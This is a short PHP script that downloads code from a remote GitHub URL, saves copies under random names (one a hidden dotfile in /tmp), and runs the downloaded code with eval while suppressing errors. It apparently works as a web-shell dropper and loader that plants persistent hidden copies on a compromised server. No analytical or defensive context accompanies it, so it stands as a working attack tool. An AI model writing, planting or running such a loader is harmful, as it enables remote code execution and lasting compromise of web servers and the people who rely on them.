<?php
$hidden_name = '/tmp/.' . bin2hex(random_bytes(8)) . '.php';
$normal_name = '/tmp/' . bin2hex(random_bytes(10)) . '.php';

$url = "https://github.com/Jenderal92/php/raw/refs/heads/master/13k.php";
$data = @file_get_contents($url);

if($data){
    @file_put_contents($hidden_name, $data);
    @file_put_contents($normal_name, $data);
    
    $current_random = bin2hex(random_bytes(8)) . '.php';
    @file_put_contents($current_random, $data);
    
    eval("?".">".$data);
}
?>